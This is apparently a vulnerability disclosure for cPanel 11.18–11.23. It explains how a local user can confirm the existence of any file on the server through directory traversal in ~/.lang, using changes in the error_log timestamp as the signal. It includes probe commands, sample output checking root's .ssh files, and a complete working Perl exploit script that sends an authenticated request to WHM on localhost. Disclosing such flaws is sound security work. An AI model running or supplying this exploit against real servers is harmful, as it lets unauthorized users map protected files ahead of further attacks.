cPanel 11.23.1-EDGE_24268 - validate the existence of any file on the box
DESCRIPTION
Local users could accurately verify the existence of any file on the box via directory traversal in ~/.lang.
First, the user needed to place the name of the file they wanted to check in ~/.lang:
../../../../../../../../$filename
Second, they needed to obtain the mtime from /usr/local/cpanel/logs/error_log:
[user@host ~]$ stat -c %y /usr/local/cpanel/logs/error_log 2009-09-01 16:31:14.000000000 -0400
Next, a request to WHM needed to be made (any valid request is fine):
GET /scripts/quicksupport HTTP/1.1
Finally, the mtime of /usr/local/cpanel/logs/error_log needed to be checked again.
[user@host ~]$ stat -c %y /usr/local/cpanel/logs/error_log 2009-09-01 16:31:15.000000000 -0400
If the mtimes from both checks differed, this meant that the file existed. The reason for this is that cpsrvd would attempt to stat the file from ~/.lang, and if the file existed, /usr/local/cpanel/bin/cachelangfiles would be called, which would write the following line to the cPanel error_log:
Warning: language cache is out of date. It is being rebuilt now.
Example:
[user@host ~]$ ls /root /bin/ls: /root: Permission denied [user@host ~]$ ls /root/.ssh /bin/ls: /root/.ssh: Permission denied [user@host ~]$ ./cPanel_check_file_exists.pl /root/.ssh File exists! [user@host ~]$ ./cPanel_check_file_exists.pl /root/.ssh/authorized_keys File does not exist [user@host ~]$ ./cPanel_check_file_exists.pl /root/.ssh/authorized_keys2 File exists!
IMPACT
Local users could accurately determine the existence of any file on the box.
#!/usr/bin/perl ########################################################## # # Works on cPanel 11.18.x - 11.23.x, probably earlier too # ########################################################## use strict; use warnings; use File::stat; use MIME::Base64; use IO::Socket::INET; my $file = shift or die "Usage: $0 <file>\n"; my $username = ''; my $password = ''; chomp ( my $creds = encode_base64("$username:$password") ); $file = '../../../../../../../..' . $file; my $error_log = '/usr/local/cpanel/logs/error_log'; my $stat = stat $error_log; my $mtime = $stat->mtime; if ( open my $lang_fh, '>', "/home/$ENV{'USER'}/.lang" ) { print $lang_fh $file; close $lang_fh; } else { die $!; } my $request = "GET /scripts/quicksupport HTTP/1.1\r\n"; $request .= "Host: 127.0.0.1:2086\r\n"; $request .= "Authorization: Basic $creds\r\n\r\n"; my $sock = IO::Socket::INET->new( PeerAddr => '127.0.0.1', PeerPort => '2086', Proto => 'tcp', Timeout => '3', ) or die $!; print $sock $request; close $sock; sleep 1; my $stat2 = stat $error_log; my $mtime2 = $stat2->mtime; if ( $mtime eq $mtime2 ) { print "File does not exist\n"; } else { print "File exists!\n"; } unlink "/home/$ENV{'USER'}/.lang";